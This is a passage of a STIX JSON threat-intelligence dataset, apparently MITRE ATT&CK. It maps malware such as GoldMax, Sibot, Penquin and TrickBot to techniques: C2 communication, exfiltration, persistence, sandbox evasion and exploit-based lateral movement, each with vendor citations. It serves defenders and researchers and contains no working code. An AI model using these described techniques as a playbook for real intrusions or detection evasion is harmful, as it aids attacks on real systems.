                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute remote commands using bash scripts.(Citation: Leonardo Turla Penquin May 2020)",
            "relationship_type": "uses",
            "id": "relationship--228c84a6-e6fa-45f3-9f89-36a0c95fb1e7",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute the command code <code>do_download</code> to retrieve remote files from C2.(Citation: Leonardo Turla Penquin May 2020)",
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                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
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                }
            ],
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                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can report the IP of the compromised host to attacker controlled infrastructure.(Citation: Leonardo Turla Penquin May 2020)",
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                {
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                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
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                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can use the command code <code>do_vslist</code> to send file names, size, and status to C2.(Citation: Leonardo Turla Penquin May 2020)",
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                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
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                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) has encrypted strings in the binary for obfuscation.(Citation: Leonardo Turla Penquin May 2020)",
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                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
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                }
            ],
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has used compromised identities to access VPNs and remote access tools.(Citation: MSTIC NOBELIUM Mar 2021)",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
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                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) can spawn a command shell, and execute native commands.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)",
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                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has RSA-encrypted its communication with the C2 server.(Citation: MSTIC NOBELIUM Mar 2021)",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
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                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has written AES-encrypted and Base64-encoded configuration files to disk.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)",
            "relationship_type": "uses",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has impersonated systems management software to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has used scheduled tasks to maintain persistence.(Citation: MSTIC NOBELIUM Mar 2021)",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has compromised domains to use for C2.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
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                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has acquired C2 domains through resellers.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
                    "source_name": "FireEye SUNSHUTTLE Mar 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) can exfiltrate files over the existing C2 channel.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
                    "source_name": "FireEye SUNSHUTTLE Mar 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) can download and execute additional files.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)",
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            "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
                    "source_name": "FireEye SUNSHUTTLE Mar 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has used HTTPS and HTTP GET requests with custom HTTP cookies for C2.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)",
            "relationship_type": "uses",
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            "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
                    "source_name": "FireEye SUNSHUTTLE Mar 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) will check if it is being run in a virtualized environment by comparing the collected MAC address to <code>c8:27:cc:c2:37:5a</code>.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--d7a5d884-d3d9-48c8-915f-75d29d4b259e",
            "type": "relationship",
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            "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has used decoy traffic to surround its malicious network traffic to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--a6a4bbf3-7a2e-46ae-877a-614bf9f81644",
            "type": "relationship",
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
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                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) retrieved a list of the system's network interface after execution.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--57ac1c4f-03fb-4b9e-a4b3-21eb76e7e305",
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            "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
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                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
                    "source_name": "FireEye SUNSHUTTLE Mar 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) can check the current date-time value of the compromised system, comparing it to the hardcoded execution trigger and can send the current timestamp to the C2 server.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021) ",
            "relationship_type": "uses",
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                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has set an execution trigger date and time, stored as an ASCII Unix/Epoch time value.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--cbc18998-67f4-493a-b0d3-4aa50da3c407",
            "type": "relationship",
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        },
        {
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            "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
                    "source_name": "FireEye SUNSHUTTLE Mar 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has decoded and decrypted the configuration file when executed.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--99e6e6cb-c19e-4689-8c92-b5429c709b91",
            "type": "relationship",
            "modified": "2021-03-15T21:09:44.550Z",
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        },
        {
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            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used scheduled tasks to maintain persistence.(Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--053d1126-0d8d-4048-be96-d1a395a1fe8c",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) will delete itself if a certain server response is received.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--9fce9cf9-2795-4384-abb5-cb049b3d4329",
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            "external_references": [
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) can decrypt data received from a C2 and save to a file.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--aafa7447-cb73-4309-ac75-5326ab0d1079",
            "type": "relationship",
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            "external_references": [
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                    "source_name": "MSTIC NOBELIUM Mar 2021",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) checked if the compromised system is configured to use proxies.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--453679cf-e04c-4419-9b94-9a150092a04d",
            "type": "relationship",
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        {
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            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
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                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) has used WMI to discover network connections and configurations. [Sibot](https://attack.mitre.org/software/S0589) has also used the Win32_Process class to execute a malicious DLL.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--6988baa7-1b48-4203-8020-7bb3fb38098d",
            "type": "relationship",
            "modified": "2021-04-20T22:28:08.343Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) has retrieved a GUID associated with a present LAN connection on a compromised machine.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--ca5d71c9-2184-4cb2-9a63-2146fba66175",
            "type": "relationship",
            "modified": "2021-03-12T18:46:47.237Z",
            "created": "2021-03-12T18:46:47.237Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) communicated with its C2 server via HTTP GET requests.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--fbc77ca5-46b1-4c5b-8e48-d053d1eb238d",
            "type": "relationship",
            "modified": "2021-03-12T18:46:47.254Z",
            "created": "2021-03-12T18:46:47.254Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) has installed a second-stage script in the <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot</code> registry key.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--e41eea8b-20d6-4050-96e6-6b59670f6e65",
            "type": "relationship",
            "modified": "2021-04-20T22:28:08.459Z",
            "created": "2021-03-12T18:46:47.265Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) has been executed via a scheduled task.(Citation: MSTIC NOBELIUM Mar 2021)",
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                }
            ],
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
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                }
            ],
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                    "description": "Kaspersky Global Research and Analysis Team. (2019, September 23). DTrack: previously unknown spy-tool by Lazarus hits financial institutions and research centers. Retrieved January 20, 2021."
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                {
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                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                },
                {
                    "source_name": "Kaspersky Turla Penquin December 2014",
                    "url": "https://securelist.com/the-penquin-turla-2/67962/",
                    "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can sniff network traffic to look for packets matching specific conditions.(Citation: Leonardo Turla Penquin May 2020)(Citation: Kaspersky Turla Penquin December 2014)",
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                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
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                }
            ],
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                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                },
                {
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                    "url": "https://securelist.com/the-penquin-turla-2/67962/",
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                }
            ],
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                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can delete downloaded executables after running them.(Citation: Leonardo Turla Penquin May 2020)",
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                {
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                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can report the file system type and disk space of a compromised host to C2.(Citation: Leonardo Turla Penquin May 2020)",
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                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can add the executable flag to a downloaded file.(Citation: Leonardo Turla Penquin May 2020)",
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                    "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021."
                },
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "The [Penquin](https://attack.mitre.org/software/S0587) C2 mechanism is based on TCP and UDP packets.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)",
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
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                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
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        {
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            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
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                {
                    "source_name": "ESET Trickbot Oct 2020",
                    "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/",
                    "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."
                },
                {
                    "source_name": "Bitdefender Trickbot March 2020",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf",
                    "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses vncDll module to remote control the victim machine.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)",
            "relationship_type": "uses",
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            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "external_references": [
                {
                    "source_name": "ESET Trickbot Oct 2020",
                    "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/",
                    "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) utilizes EternalBlue and EternalRomance exploits for lateral movement in the modules wormwinDll, wormDll, mwormDll, nwormDll, tabDll.(Citation: ESET Trickbot Oct 2020)",
            "relationship_type": "uses",
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                    "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."
                },
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                    "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."
                }
            ],
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                    "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."
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                    "source_name": "Bitdefender Trickbot March 2020",
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                    "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses brute-force attack against RDP with rdpscanDll module.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)",
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                    "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."
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                    "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."
                }
            ],
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                    "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."
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            ],
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                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) can list directory entries.(Citation: ESET Ebury Oct 2017) ",
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                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) has implemented a fallback mechanism to begin using a DGA when the attacker hasn't connected to the infected system for three days.(Citation: ESET Ebury Oct 2017)",
